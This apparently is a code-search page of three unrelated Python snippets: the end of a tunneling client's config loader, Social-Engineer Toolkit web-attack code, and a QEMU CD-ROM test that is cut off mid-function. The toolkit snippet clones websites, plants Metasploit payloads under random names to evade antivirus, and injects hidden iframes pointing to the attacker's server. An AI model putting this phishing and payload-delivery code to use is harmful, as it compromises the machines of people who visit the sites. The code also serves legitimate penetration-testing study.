            logging.fatal("Config file (-c or --config) must be specified.\n")
            parser.print_help()
            sys.exit()

        data = {}

        # Load json configuration file
        try:
            data_file = open(options.config)
            data = json.load(data_file)
            data_file.close()
        except Exception as err:
            logging.fatal(
                "Fatal error while loading configuration file.\n" + err)
            sys.exit()

        if "control_domain" not in data:
            logging.fatal("missing control domain")
            sys.exit()

        # Apply default values
        if "local_host" not in data:
            data["local_host"] = DEFAULT_LOCAL_HOST

        if "local_port" not in data:
            data["local_port"] = DEFAULT_LOCAL_PORT

        if "remote_host" not in data:
            data["remote_host"] = DEFAULT_REMOTE_HOST

        if "remote_port" not in data:
            data["remote_port"] = random.randint(20000, 60000)
            logging.info(
                "Using random port " + str(data["remote_port"]) + " as remote listening port")

        if "number" not in data:
            data["number"] = DEFAULT_REQUIRED
        elif data["number"] > 20:
            logging.warning(
                "Requesting " + str(data["number"]) + " connections. Note: most servers impose a limit of 20. You may not receive response at all.")

        if data["number"] > 100:
            data["number"] = 100

        if "dns_servers" not in data:
            if "dns_server" in data:
                data["dns_servers"] = data["dns_server"]
            else:
                data["dns_servers"] = DEFAULT_DNS_SERVERS

        if "pt_exec" not in data:
            data["pt_exec"] = DEFAULT_OBFS4_EXECADDR

        if "debug_ip" not in data:
            data["debug_ip"] = None

        if Mode == "VPS":
            if "obfs_level" not in data:
                data["obfs_level"] = 0
            elif 1 <= int(data["obfs_level"]) <= 2:
                logging.error(
                    "Support for obfs4proxy is experimental with known bugs. Run this mode at your own risk.")
        else:
            data["obfs_level"] = 3

        # Load certificates
        try:
            serverpub_data = open(data["remote_cert"], "r").read()
            serverpub = certloader(serverpub_data).importKey()
        except KeyError as e:
            logging.fatal(
                e.tostring() + "is not found in the config file. Quitting.")
            sys.exit()
        except Exception as err:
            print ("Fatal error while loading remote host certificate.")
            print (err)
            sys.exit()

        try:
            clientpri_data = open(data["local_cert"], "r").read()
            clientpri_data = clientpri_data.strip(' ').lstrip('\n')
            clientpri = certloader(clientpri_data).importKey()
            clientpri_sha1 = certloader(clientpri_data).getSHA1()
            print("Using private key with SHA1: " + clientpri_sha1 +
                  ". Please make sure it is identical the string in server-side config.")
            if not clientpri.has_private():
                print(
                    "Fatal error, no private key included in local certificate.")
        except KeyError as e:
            logging.fatal(
                e.tostring() + "is not found in the config file. Quitting.")
            sys.exit()
        except Exception as err:
            print ("Fatal error while loading local certificate.")
            print (err)
            sys.exit()

        try:
            clientpub_data = open(data["local_cert_pub"], "r").read()
            clientpub_data = clientpub_data.strip(' ').lstrip('\n')
            clientpub_sha1 = certloader(clientpub_data).getSHA1()
        except KeyError as e:
            logging.fatal(
                e.tostring() + "is not found in the config file. Quitting.")
            sys.exit()
        except Exception as err:
            print ("Fatal error while calculating SHA1 digest.")
            print (err)
            sys.exit()

        # TODO: make it more elegant

        if options.fs:
            swapfq = 3
        else:
            swapfq = 8

    except IOError as e:
        print ("An error occurred: \n")
        print(e)

    # Start the main event loop

    try:
        ctl = Coordinate(
            data["control_domain"],
            clientpri,
            clientpri_sha1,
            serverpub,
            clientpub_sha1,
            data["number"],
            data["remote_host"],
            data["remote_port"],
            data["dns_servers"],
            data["debug_ip"],
            swapfq,
            data["pt_exec"],
            data["obfs_level"],
            options.ipv6,
            options.pn
        )
        sctl = ServerControl(
            data["remote_host"],
            ctl.remote_port,
            ctl,
            pt=bool(data["obfs_level"])
        )
        cctl = ClientControl(
            ctl,
            data["local_host"],
            data["local_port"]
        )
    except KeyError as e:
        print(e)
        logging.fatal("Bad config file. Quitting.")
        sys.exit()

    except Exception as e:
        print ("An error occurred: \n")
        print(e)

    logging.info("Listening to local services at " +
                 data["local_host"] + ":" + str(data["local_port"]))
    logging.info("Listening to remote server at " +
                 data["remote_host"] + ":" + str(ctl.remote_port))

    try:
        asyncore.loop(use_poll=1)
    except KeyboardInterrupt:
        pass

Example 46

Project: pwn_plug_sources
Source File: spawn.py
View license
def web_server_start():
        # define if use apache or not
        apache=0
        # open set_config here
        apache_check=file("%s/config/set_config" % (definepath),"r").readlines()
        # loop this guy to search for the APACHE_SERVER config variable
        for line in apache_check:
        	# strip \r\n
                line=line.rstrip()
        	# if apache is turned on get things ready
                match=re.search("APACHE_SERVER=ON",line)
        	# if its on lets get apache ready
                if match:
                        for line2 in apache_check:
        			# set the apache path here
        			match2=re.search("APACHE_DIRECTORY=", line2)
        			if match2:
        				line2=line2.rstrip()
        				apache_path=line2.replace("APACHE_DIRECTORY=","")
        				apache=1
        				if operating_system == "windows": apache = 0

        # GRAB DEFAULT PORT FOR WEB SERVER
        fileopen=file("config/set_config" , "r").readlines()
        counter=0
        for line in fileopen:
                line=line.rstrip()
                match=re.search("WEB_PORT=", line)
                if match:
                        line=line.replace("WEB_PORT=", "")
                        web_port=line
                        counter=1
        if counter == 0: web_port=80

        # see if exploit requires webdav
        if os.path.isfile("src/program_junk/meta_config"):
        	fileopen=file("src/program_junk/meta_config", "r")
        	for line in fileopen:
        		line=line.rstrip()
        		match=re.search("set SRVPORT 80", line)
        		if match:
        			match2=re.search("set SRVPORT 8080", line)
        			if not match2:
        				web_port=8080

        # Open the IPADDR file
        fileopen=file("src/program_junk/ipaddr.file","r").readlines()
        for line in fileopen:
            line=line.rstrip()
            ipaddr=line

        # Grab custom or set defined
        if os.path.isfile("src/program_junk/site.template"):
                fileopen=file("src/program_junk/site.template","r").readlines()
                for line in fileopen:
                        line=line.rstrip()
                        match=re.search("TEMPLATE=", line)
                        if match:
                                line=line.split("=")
                                template=line[1]
	
        # grab web attack selection
        if os.path.isfile("src/program_junk/attack_vector"):
                fileopen=file("src/program_junk/attack_vector","r").readlines()
                for line in fileopen:
        	        attack_vector=line.rstrip()
        
        # if it doesn't exist just set a default template
        if not os.path.isfile("src/program_junk/attack_vector"):
                attack_vector = "nada"

        # Sticking it to A/V below
        import string,random
        def random_string(minlength=6,maxlength=15):
                  length=random.randint(minlength,maxlength)
                  letters=string.ascii_letters+string.digits
                  return ''.join([random.choice(letters) for _ in range(length)])
        rand_gen=random_string() #+".exe"

        # check multiattack flags here
        multiattack_harv = "off"
        if os.path.isfile("src/program_junk/multi_harvester"):
        	multiattack_harv = "on"
        if os.path.isfile("src/program_junk/multi_tabnabbing"):
        	multiattack_harv = "on"

        # open our config file that was specified in SET
        if os.path.isfile("src/program_junk/site.template"):
                fileopen=file("src/program_junk/site.template", "r").readlines()
                # start loop here
                for line in fileopen:
                        line=line.rstrip()
                        # look for config file and parse for URL
                        match=re.search("URL=",line)
                        if match:
                                line=line.split("=")
                                # define url to clone here
                                url=line[1].rstrip()
        # if we didn't create template then do self
        if not os.path.isfile("src/program_junk/site.template"):
                template = "SELF"

        # If SET is setting up the website for you, get the website ready for delivery
        if template == "SET":

        	# change to that directory
        	os.chdir("src/html/")
        	# remove stale index.html files
        	if os.path.isfile("index.html"):
        		os.remove("index.html")
        	# define files and get ipaddress set in index.html
        	fileopen=file("index.template", "r").readlines()
        	filewrite=file("index.html", "w")
        	if attack_vector == "java":
        		for line in fileopen:
        			match1=re.search("msf.exe", line)
        			if match1: line=line.replace("msf.exe", rand_gen)
        			match=re.search("ipaddrhere", line)
        			if match:
        				line=line.replace("ipaddrhere", ipaddr)
        			filewrite.write(line)
        		# move random generated name
        		filewrite.close()
        		shutil.copyfile("msf.exe", rand_gen)
		
        	# define browser attack vector here
        	if attack_vector == "browser":
                	counter=0
                	for line in fileopen:
                                counter=0
                                match=re.search("Signed_Update.jar", line)
                                if match:
                                        line=line.replace("Signed_Update.jar", "invalid.jar")
                                        filewrite.write(line)
                                        counter=1
                                match2=re.search("<head>", line)
                                if match2:
                                        if web_port != 8080:
                                                line=line.replace("<head>", '<head><iframe src ="http://%s:8080/" width="100" height="100" scrolling="no"></iframe>' % (ipaddr))
                                                filewrite.write(line)
                                                counter=1
                                        if web_port == 8080:
                                                line=line.replace("<head>", '<head><iframe src = "http://%s:80/" width="100" height="100" scrolling="no" ></iframe>' % (ipaddr))
                                                filewrite.write(line)
                                                counter=1
                                if counter == 0:
                                	filewrite.write(line)
                filewrite.close()

        if template == "CUSTOM" or template == "SELF":
        	# Bring our files to our directory
                if attack_vector != 'hid': 
                	if attack_vector != 'hijacking':
                        	print "\n" + bcolors.YELLOW + "[*] Moving payload into cloned website." + bcolors.ENDC
                                # copy all the files needed
                                if not os.path.isfile("%s/src/program_junk/Signed_Update.jar" % (definepath)):
                                        shutil.copyfile("%s/src/html/Signed_Update.jar.orig" % (definepath), "%s/src/program_junk/Signed_Update.jar" % (definepath))
                                shutil.copyfile("%s/src/program_junk/Signed_Update.jar" % (definepath), "%s/src/program_junk/web_clone/Signed_Update.jar" % (definepath))
                                if os.path.isfile("%s/src/html/nix.bin" % (definepath)):
                                        shutil.copyfile("%s/src/html/nix.bin" % (definepath), "%s/src/program_junk/web_clone/nix.bin" % (definepath))
                                if os.path.isfile("%s/src/html/mac.bin" % (definepath)):
                                        shutil.copyfile("%s/src/html/mac.bin" % (definepath), "%s/src/program_junk/web_clone/mac.bin" % (definepath))
                                if os.path.isfile("%s/src/html/msf.exe" % (definepath)):
                                        shutil.copyfile("%s/src/html/msf.exe" % (definepath), "%s/src/program_junk/web_clone/msf.exe" % (definepath))
                        	# pull random name generation
                                PrintStatus("The site has been moved. SET Web Server is now listening..")
                        	if os.path.isfile("%s/src/program_junk/rand_gen" % (definepath)):
                        		fileopen=file("%s/src/program_junk/rand_gen" % (definepath), "r")
                        		for line in fileopen:
                        			rand_gen=line.rstrip()
                        		if os.path.isfile("%s/src/program_junk/custom.exe" % (definepath)):
                                                shutil.copyfile("src/html/msf.exe", "src/program_junk/web_clone/msf.exe")
                                		print "\n[*] Website has been cloned and custom payload imported. Have someone browse your site now"
                                	shutil.copyfile("src/program_junk/web_clone/msf.exe", "src/program_junk/web_clone/%s" % (rand_gen))	
                os.chdir("%s/src/program_junk/web_clone" % (definepath))
                

        # if docbase exploit do some funky stuff to get it to work right
        #  <TITLE>Client  Log In</TITLE>
        if os.path.isfile("%s/src/program_junk/docbase.file" % (definepath)):
        	docbase=(r"""<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
  		 "http://www.w3.org/TR/html4/frameset.dtd">
		<HTML>
		<HEAD>
		<TITLE></TITLE>
		</HEAD>
		<FRAMESET rows="99%%, 1%%">
      		<FRAME src="site.html">
      		<FRAME name=docbase noresize borders=0 scrolling=no src="http://%s:8080">
		</FRAMESET>
		</HTML>""" % (ipaddr))
        	if os.path.isfile("%s/src/program_junk/web_clone/site.html" % (definepath)): os.remove("%s/src/program_junk/web_clone/site.html" % (definepath))
                shutil.copyfile("%s/src/program_junk/web_clone/index.html" % (definepath), "%s/src/program_junk/web_clone/site.html" % (definepath))
        	filewrite=file("%s/src/program_junk/web_clone/index.html" % (definepath), "w")
        	filewrite.write(docbase)
        	filewrite.close()	

        ####################################################################################################################################
        #
        # START WEB SERVER STUFF HERE
        #
        ####################################################################################################################################
        if apache == 0:
                if multiattack_harv == 'off':
                        # specify port listener here
                        # get SimpleHTTP up and running
                        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
                        class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
                                pass

                        try:
                                class ReusableTCPServer(SocketServer.TCPServer):
                                        allow_reuse_address = True
                                server = ReusableTCPServer(('', int(web_port)), Handler)
                                thread.start_new_thread(server.serve_forever, ())
                                
                        # Handle KeyboardInterrupt
                        except KeyboardInterrupt:
                                ExitSet()
                
                        # Handle Exceptions
                        except Exception,e:
                                print e
                                log(e)
                                print bcolors.RED + "ERROR: You probably have something running on port 80 already, Apache??"
                                print "There was an issue, printing error: " +str(e) + bcolors.ENDC
                                ExitSet()
                        
                        # if we are custom, put a pause here to not terminate thread on web server
                        if template == "CUSTOM" or template == "SELF":
                                custom_exe = check_options("CUSTOM_EXE=")
                                if custom_exe != 0:
                                        while 1: 
                                                # try block inside of loop, if control-c detected, then exit
                                                try:
                                                        pause = raw_input(bcolors.GREEN + "\n[*] Web Server is listening. Press Control-C to exit." + bcolors.ENDC)

                                                # handle keyboard interrupt
                                                except KeyboardInterrupt:
                                                        print bcolors.GREEN + "[*] Returning to main menu." + bcolors.ENDC
                                                        break

        if apache == 1:
        	subprocess.Popen("cp %s/src/html/*.bin %s 1> /dev/null 2> /dev/null;cp %s/src/html/*.html %s 1> /dev/null 2> /dev/null;cp %s/src/program_junk/web_clone/* %s 1> /dev/null 2> /dev/null;cp %s/src/html/msf.exe %s 1> /dev/null 2> /dev/null;cp %s/src/program_junk/Signed* %s 1> /dev/null 2> /dev/null" % (definepath,apache_path,definepath,apache_path,definepath,apache_path,definepath,apache_path,definepath,apache_path), shell=True).wait()

        #####################################################################################################################################
        #
        # END WEB SERVER STUFF HERE
        #
        #####################################################################################################################################

        if operating_system != "windows":
                # Grab metaspoit path
                msf_path=meta_path()
                import pexpect

Example 47

Project: tp-qemu
Source File: cdrom.py
View license
@error.context_aware
def run(test, params, env):
    """
    KVM cdrom test:

    1) Boot up a VM, with one iso image (optional).
    2) Check if VM identifies correctly the iso file.
    3) Verifies that device is unlocked <300s after boot (optional, if
       cdrom_test_autounlock is set).
    4) Eject cdrom using monitor.
    5) Change cdrom image with another iso several times.
    5) Test tray reporting function (optional, if cdrom_test_tray_status is set)
    6) Try to format cdrom and check the return string.
    7) Mount cdrom device.
    8) Copy file from cdrom and compare files.
    9) Umount and mount cdrom in guest for several times.
    10) Check if the cdrom lock works well when iso file is not inserted.
    11) Reboot vm after vm resume from s3/s4.
        Note: This case requires a qemu cli without setting file property
        for -drive option, and will be separated to a different cfg item.

    :param test: kvm test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.

    :param cfg: workaround_eject_time - Some versions of qemu are unable to
                                        eject CDROM directly after insert
    :param cfg: cdrom_test_autounlock - Test whether guest OS unlocks cdrom
                                        after boot (<300s after VM is booted)
    :param cfg: cdrom_test_tray_status - Test tray reporting (eject and insert
                                         CD couple of times in guest).
    :param cfg: cdrom_test_locked -     Test whether cdrom tray lock function
                                        work well in guest.
    :param cfg: cdrom_test_eject -      Test whether cdrom works well after
                                        several times of eject action.
    :param cfg: cdrom_test_file_operation - Test file operation for cdrom,
                                            such as mount/umount, reading files
                                            on cdrom.

    @warning: Check dmesg for block device failures
    """
    # Some versions of qemu are unable to eject CDROM directly after insert
    workaround_eject_time = float(params.get('workaround_eject_time', 0))

    login_timeout = int(params.get("login_timeout", 360))
    cdrom_prepare_timeout = int(params.get("cdrom_preapre_timeout", 360))

    def generate_serial_num():
        length = int(params.get("length", "10"))
        id_leng = random.randint(6, length)
        ignore_str = ",!\"#$%&\'()*+./:;<=>[email protected][\\]^`{|}~"
        return utils_misc.generate_random_string(id_leng, ignore_str)

    def list_guest_cdroms(session):
        """
        Get cdrom lists from guest os;

        :param session: ShellSession object;
        :param params: test params dict;
        :return: list of cdroms;
        :rtype: list
        """
        list_cdrom_cmd = "wmic cdrom get Drive"
        filter_cdrom_re = "\w:"
        if params["os_type"] != "windows":
            list_cdrom_cmd = "ls /dev/cdrom*"
            filter_cdrom_re = r"/dev/cdrom-\w+|/dev/cdrom\d*"
        output = session.cmd_output(list_cdrom_cmd)
        cdroms = re.findall(filter_cdrom_re, output)
        cdroms.sort()
        return cdroms

    def get_cdrom_mount_point(session, drive_letter, params):
        """
        Get default cdrom mount point;
        """
        mount_point = "/mnt"
        if params["os_type"] == "windows":
            cmd = "wmic volume where DriveLetter='%s' " % drive_letter
            cmd += "get DeviceID | more +1"
            mount_point = session.cmd_output(cmd).strip()
        return mount_point

    @error.context_aware
    def create_iso_image(params, name, prepare=True, file_size=None):
        """
        Creates 'new' iso image with one file on it

        :param params: parameters for test
        :param name: name of new iso image file
        :param preapre: if True then it prepare cd images.
        :param file_size: Size of iso image in MB

        :return: path to new iso image file.
        """
        error.context("Creating test iso image '%s'" % name, logging.info)
        cdrom_cd = params["target_cdrom"]
        cdrom_cd = params[cdrom_cd]
        if not os.path.isabs(cdrom_cd):
            cdrom_cd = utils_misc.get_path(data_dir.get_data_dir(), cdrom_cd)
        iso_image_dir = os.path.dirname(cdrom_cd)
        if file_size is None:
            file_size = 10
        g_mount_point = tempfile.mkdtemp("gluster")
        image_params = params.object_params(name)
        if image_params.get("enable_gluster") == "yes":
            if params.get("gluster_server"):
                gluster_server = params.get("gluster_server")
            else:
                gluster_server = "localhost"
            volume_name = params["gluster_volume_name"]
            g_mount_link = "%s:/%s" % (gluster_server, volume_name)
            mount_cmd = "mount -t glusterfs %s %s" % (g_mount_link, g_mount_point)
            utils.system(mount_cmd, timeout=60)
            file_name = os.path.join(g_mount_point, "%s.iso" % name)
        else:
            file_name = utils_misc.get_path(iso_image_dir, "%s.iso" % name)
        if prepare:
            cmd = "dd if=/dev/urandom of=%s bs=1M count=%d"
            utils.run(cmd % (name, file_size))
            utils.run("mkisofs -o %s %s" % (file_name, name))
            utils.run("rm -rf %s" % (name))
        if image_params.get("enable_gluster") == "yes":
            gluster_uri = gluster.create_gluster_uri(image_params)
            file_name = "%s%s.iso" % (gluster_uri, name)
            try:
                umount_cmd = "umount %s" % g_mount_point
                utils.system(umount_cmd, timeout=60)
                os.rmdir(g_mount_point)
            except Exception, err:
                msg = "Fail to clean up %s" % g_mount_point
                msg += "Error message %s" % err
                logging.warn(msg)
        return file_name

    def cleanup_cdrom(path):
        """ Removes created iso image """
        if path:
            error.context("Cleaning up temp iso image '%s'" % path,
                          logging.info)
            if "gluster" in path:
                g_mount_point = tempfile.mkdtemp("gluster")
                g_server, v_name, f_name = path.split("/")[-3:]
                if ":" in g_server:
                    g_server = g_server.split(":")[0]
                g_mount_link = "%s:/%s" % (g_server, v_name)
                mount_cmd = "mount -t glusterfs %s %s" % (g_mount_link,
                                                          g_mount_point)
                utils.system(mount_cmd, timeout=60)
                path = os.path.join(g_mount_point, f_name)
            try:
                logging.debug("Remove the file with os.remove().")
                os.remove("%s" % path)
            except OSError, err:
                logging.warn("Fail to delete %s" % path)
            if "gluster" in path:
                try:
                    umount_cmd = "umount %s" % g_mount_point
                    utils.system(umount_cmd, timeout=60)
                    os.rmdir(g_mount_point)
                except Exception, err:
                    msg = "Fail to clean up %s" % g_mount_point
                    msg += "Error message %s" % err
                    logging.warn(msg)

    def get_cdrom_file(vm, qemu_cdrom_device):
        """
        :param vm: VM object
        :param qemu_cdrom_device: qemu monitor device
        :return: file associated with $qemu_cdrom_device device
        """
        blocks = vm.monitor.info("block")
        cdfile = None
        if isinstance(blocks, str):
            tmp_re_str = r'%s: .*file=(\S*) ' % qemu_cdrom_device
            file_list = re.findall(tmp_re_str, blocks)
            if file_list:
                cdfile = file_list[0]
            else:
                # try to deal with new qemu
                tmp_re_str = r'%s: (\S*) \(.*\)' % qemu_cdrom_device
                file_list = re.findall(tmp_re_str, blocks)
                if file_list:
                    cdfile = file_list[0]
        else:
            for block in blocks:
                if block['device'] == qemu_cdrom_device:
                    try:
                        cdfile = block['inserted']['file']
                        break
                    except KeyError:
                        continue
        return cdfile

    def _get_tray_stat_via_monitor(vm, qemu_cdrom_device):
        """
        Get the cdrom tray status via qemu monitor
        """
        is_open, checked = (None, False)

        blocks = vm.monitor.info("block")
        if isinstance(blocks, str):
            for block in blocks.splitlines():
                if qemu_cdrom_device in block:
                    if "tray-open=1" in block:
                        is_open, checked = (True, True)
                    elif "tray-open=0" in block:
                        is_open, checked = (False, True)
            # fallback to new qemu
            tmp_block = ""
            for block_new in blocks.splitlines():
                if tmp_block and "Removable device" in block_new:
                    if "tray open" in block_new:
                        is_open, checked = (True, True)
                    elif "tray closed" in block_new:
                        is_open, checked = (False, True)
                if qemu_cdrom_device in block_new:
                    tmp_block = block_new
                else:
                    tmp_block = ""
        else:
            for block in blocks:
                if block['device'] == qemu_cdrom_device:
                    key = filter(lambda x: re.match(r"tray.*open", x),
                                 block.keys())
                    # compatible rhel6 and rhel7 diff qmp output
                    if not key:
                        break
                    is_open, checked = (block[key[0]], True)
        return (is_open, checked)

    def is_tray_opened(vm, qemu_cdrom_device, mode='monitor',
                       dev_name="/dev/sr0"):
        """
        Checks whether the tray is opend

        :param vm: VM object
        :param qemu_cdrom_device: cdrom image file name.
        :param mode: tray status checking mode, now support:
                     "monitor": get tray status from monitor.
                     "session": get tray status from guest os.
                     "mixed": get tray status first, if failed, try to
                              get the status in guest os again.
        :param dev_name: cdrom device name in guest os.

        :return: True if cdrom tray is open, otherwise False.
                 None if failed to get the tray status.
        """
        is_open, checked = (None, False)

        if mode in ['monitor', 'mixed']:
            is_open, checked = _get_tray_stat_via_monitor(
                vm, qemu_cdrom_device)

        if (mode in ['session', 'mixed']) and not checked:
            session = vm.wait_for_login(timeout=login_timeout)
            tray_cmd = params["tray_check_cmd"] % dev_name
            o = session.cmd_output(tray_cmd)
            if "cdrom is open" in o:
                is_open, checked = (True, True)
            else:
                is_open, checked = (False, True)
        if checked:
            return is_open
        return None

    @error.context_aware
    def check_cdrom_lock(vm, cdrom):
        """
        Checks whether the cdrom is locked

        :param vm: VM object
        :param cdrom: cdrom object

        :return: Cdrom state if locked return True
        """
        error.context("Check cdrom state of locing.")
        blocks = vm.monitor.info("block")
        if isinstance(blocks, str):
            for block in blocks.splitlines():
                if cdrom in block:
                    if "locked=1" in block:
                        return True
                    elif "locked=0" in block:
                        return False
            # deal with new qemu
            lock_str_new = "locked"
            no_lock_str = "not locked"
            tmp_block = ""
            for block_new in blocks.splitlines():
                if tmp_block and "Removable device" in block_new:
                    if no_lock_str in block_new:
                        return False
                    elif lock_str_new in block_new:
                        return True
                if cdrom in block_new:
                    tmp_block = block_new
                else:
                    tmp_block = ""
        else:
            for block in blocks:
                if block['device'] == cdrom and 'locked' in block.keys():
                    return block['locked']
        return None

    @error.context_aware
    def get_device(vm, dev_file_path):
        """
        Get vm device class from device path.

        :param vm: VM object.
        :param dev_file_path: Device file path.
        :return: device object
        """
        error.context("Get cdrom device object")
        device = vm.get_block({'file': dev_file_path})
        if not device:
            device = vm.get_block({'backing_file': dev_file_path})
            if not device:
                raise error.TestFail("Could not find a valid cdrom device")
        return device

    def get_match_cdrom(vm, session, serial_num):
        """
        Find the cdrom in guest which is corresponding with the CML
        according to the serial number.

        :param session: VM session.
        :param serial num: serial number of the cdrom.
        :return match_cdrom: the cdrom in guest which is corresponding
                             with the CML according to the serial number.
        """
        error.context("Get matching cdrom in guest", logging.info)
        show_serial_num = "ls -l /dev/disk/by-id"
        serial_num_output = session.cmd_output(show_serial_num)
        if serial_num_output:
            serial_cdrom = ""
            for line in serial_num_output.splitlines():
                if utils_misc.find_substring(str(line), str(serial_num)):
                    serial_cdrom = line.split(" ")[-1].split("/")[-1]
                    break
            if not serial_cdrom:
                qtree_info = vm.monitor.info("qtree")
                raise error.TestFail("Could not find the device whose "
                                     "serial number %s is same in Qemu"
                                     " CML.\n Qtree info: %s" %
                                     (serial_num, qtree_info))

        show_cdrom_cmd = "ls -l /dev/cdrom*"
        dev_cdrom_output = session.cmd_output(show_cdrom_cmd)
        if dev_cdrom_output:
            for line in dev_cdrom_output.splitlines():
                if utils_misc.find_substring(str(line), str(serial_cdrom)):
                    match_cdrom = line.split(" ")[-3]
                    return match_cdrom
            raise error.TestFail("Could not find the corresponding cdrom"
                                 "in guest which is same in Qemu CML.")

    def get_testing_cdrom_device(vm, session, cdrom_dev_list, serial_num=None):
        """
        Get the testing cdrom used for eject
        :param session: VM session
        :param cdrom_dev_list: cdrom_dev_list
        """
        try:
            if params["os_type"] == "windows":
                winutil_drive = utils_misc.get_winutils_vol(session)
                winutil_drive = "%s:" % winutil_drive
                cdrom_dev_list.remove(winutil_drive)
                testing_cdrom_device = cdrom_dev_list[-1]
            else:
                testing_cdrom_device = get_match_cdrom(vm, session, serial_num)
        except IndexError:
            raise error.TestFail("Could not find the testing cdrom device")

        return testing_cdrom_device

    def disk_copy(vm, src_path, dst_path, copy_timeout=None, dsize=None):
        """
        Start disk load. Cyclic copy from src_path to dst_path.

        :param vm: VM where to find a disk.
        :param src_path: Source of data
        :param dst_path: Path to destination
        :param copy_timeout: Timeout for copy
        :param dsize: Size of data block which is periodical copied.
        """
        if copy_timeout is None:
            copy_timeout = 120
        session = vm.wait_for_login(timeout=login_timeout)
        copy_file_cmd = (
            "nohup cp %s %s 2> /dev/null &" % (src_path, dst_path))
        get_pid_cmd = "echo $!"
        if params["os_type"] == "windows":
            copy_file_cmd = "start cmd /c copy /y %s %s" % (src_path, dst_path)
            get_pid_cmd = "wmic process where name='cmd.exe' get ProcessID"
        session.cmd(copy_file_cmd, timeout=copy_timeout)
        pid = re.findall(r"\d+", session.cmd_output(get_pid_cmd))[-1]
        return pid

    def get_empty_cdrom_device(vm):
        """
        Get cdrom device when cdrom is not insert.
        """
        device = None
        blocks = vm.monitor.info("block")
        if isinstance(blocks, str):
            for block in blocks.strip().split('\n'):
                if 'not inserted' in block:
                    device = block.split(':')[0]
        else:
            for block in blocks:
                if 'inserted' not in block.keys():
                    device = block['device']
        return device

    def eject_test_via_monitor(vm, qemu_cdrom_device, guest_cdrom_device,
                               iso_image_orig, iso_image_new, max_times):
        """
        Test cdrom eject function via qemu monitor.
        """
        error.context("Eject the iso image in monitor %s times" % max_times,
                      logging.info)
        session = vm.wait_for_login(timeout=login_timeout)
        iso_image = iso_image_orig
        for i in range(1, max_times):
            session.cmd(params["eject_cdrom_cmd"] % guest_cdrom_device)
            vm.eject_cdrom(qemu_cdrom_device)
            time.sleep(2)
            if get_cdrom_file(vm, qemu_cdrom_device) is not None:
                raise error.TestFail("Device %s was not ejected"
                                     " (round %s)" % (iso_image, i))

            iso_image = iso_image_new
            # On even attempts, try to change the iso image
            if i % 2 == 0:
                iso_image = iso_image_orig
            vm.change_media(qemu_cdrom_device, iso_image)
            if get_cdrom_file(vm, qemu_cdrom_device) != iso_image:
                raise error.TestFail("Could not change iso image %s"
                                     " (round %s)" % (iso_image, i))
            time.sleep(workaround_eject_time)

    def check_tray_status_test(vm, qemu_cdrom_device, guest_cdrom_device,
                               max_times, iso_image_new):
        """
        Test cdrom tray status reporting function.
        """
        error.context("Change cdrom media via monitor", logging.info)
        iso_image_orig = get_cdrom_file(vm, qemu_cdrom_device)
        if not iso_image_orig:
            raise error.TestError("no media in cdrom")
        vm.change_media(qemu_cdrom_device, iso_image_new)
        is_opened = is_tray_opened(vm, qemu_cdrom_device)
        if is_opened:
            raise error.TestFail("cdrom tray not opened after change media")
        try:
            error.context("Copy test script to guest")
            tray_check_src = params.get("tray_check_src")
            if tray_check_src:
                tray_check_src = os.path.join(data_dir.get_deps_dir(), "cdrom",
                                              tray_check_src)
                vm.copy_files_to(tray_check_src, params["tmp_dir"])

            if is_tray_opened(vm, qemu_cdrom_device) is None:
                logging.warn("Tray status reporting is not supported by qemu!")
                logging.warn("cdrom_test_tray_status test is skipped...")
                return

            error.context("Eject the cdrom in guest %s times" % max_times,
                          logging.info)
            session = vm.wait_for_login(timeout=login_timeout)
            for i in range(1, max_times):
                session.cmd(params["eject_cdrom_cmd"] % guest_cdrom_device)
                if not is_tray_opened(vm, qemu_cdrom_device):
                    raise error.TestFail("Monitor reports tray closed"
                                         " when ejecting (round %s)" % i)
                if params["os_type"] != "windows":
                    cmd = "dd if=%s of=/dev/null count=1" % guest_cdrom_device
                else:
                    # windows guest does not support auto close door when reading
                    # cdrom, so close it by eject command;
                    cmd = params["close_cdrom_cmd"] % guest_cdrom_device
                session.cmd(cmd)
                if is_tray_opened(vm, qemu_cdrom_device):
                    raise error.TestFail("Monitor reports tray opened when close"
                                         " cdrom in guest (round %s)" % i)
                time.sleep(workaround_eject_time)
        finally:
            vm.change_media(qemu_cdrom_device, iso_image_orig)

    def check_tray_locked_test(vm, qemu_cdrom_device, guest_cdrom_device):
        """
        Test cdrom tray locked function.
        """
        error.context("Check cdrom tray status after cdrom is locked",
                      logging.info)
        session = vm.wait_for_login(timeout=login_timeout)
        tmp_is_trap_open = is_tray_opened(vm, qemu_cdrom_device, mode='mixed',
                                          dev_name=guest_cdrom_device)
        if tmp_is_trap_open is None:
            logging.warn("Tray status reporting is not supported by qemu!")
            logging.warn("cdrom_test_locked test is skipped...")
            return

        eject_failed = False
        eject_failed_msg = "Tray should be closed even in locked status"
        session.cmd(params["eject_cdrom_cmd"] % guest_cdrom_device)
        tmp_is_trap_open = is_tray_opened(vm, qemu_cdrom_device, mode='mixed',
                                          dev_name=guest_cdrom_device)
        if not tmp_is_trap_open:
            raise error.TestFail("Tray should not in closed status")
        session.cmd(params["lock_cdrom_cmd"] % guest_cdrom_device)
        try:
            session.cmd(params["close_cdrom_cmd"] % guest_cdrom_device)
        except aexpect.ShellCmdError, e:
            eject_failed = True
            eject_failed_msg += ", eject command failed: %s" % str(e)

        tmp_is_trap_open = is_tray_opened(vm, qemu_cdrom_device, mode='mixed',
                                          dev_name=guest_cdrom_device)
        if (eject_failed or tmp_is_trap_open):
            raise error.TestFail(eject_failed_msg)
        session.cmd(params["unlock_cdrom_cmd"] % guest_cdrom_device)
        session.cmd(params["close_cdrom_cmd"] % guest_cdrom_device)

    def file_operation_test(session, guest_cdrom_device, max_times):
        """
        Cdrom file operation test.
        """
        filename = "new"
        mount_point = get_cdrom_mount_point(session,
                                            guest_cdrom_device, params)
        mount_cmd = params["mount_cdrom_cmd"] % (guest_cdrom_device,
                                                 mount_point)
        umount_cmd = params["umount_cdrom_cmd"] % guest_cdrom_device
        src_file = params["src_file"] % (mount_point, filename)
        dst_file = params["dst_file"] % filename
        copy_file_cmd = params["copy_file_cmd"] % (mount_point, filename)
        remove_file_cmd = params["remove_file_cmd"] % filename
        show_mount_cmd = params["show_mount_cmd"]
        md5sum_cmd = params["md5sum_cmd"]

        if params["os_type"] != "windows":
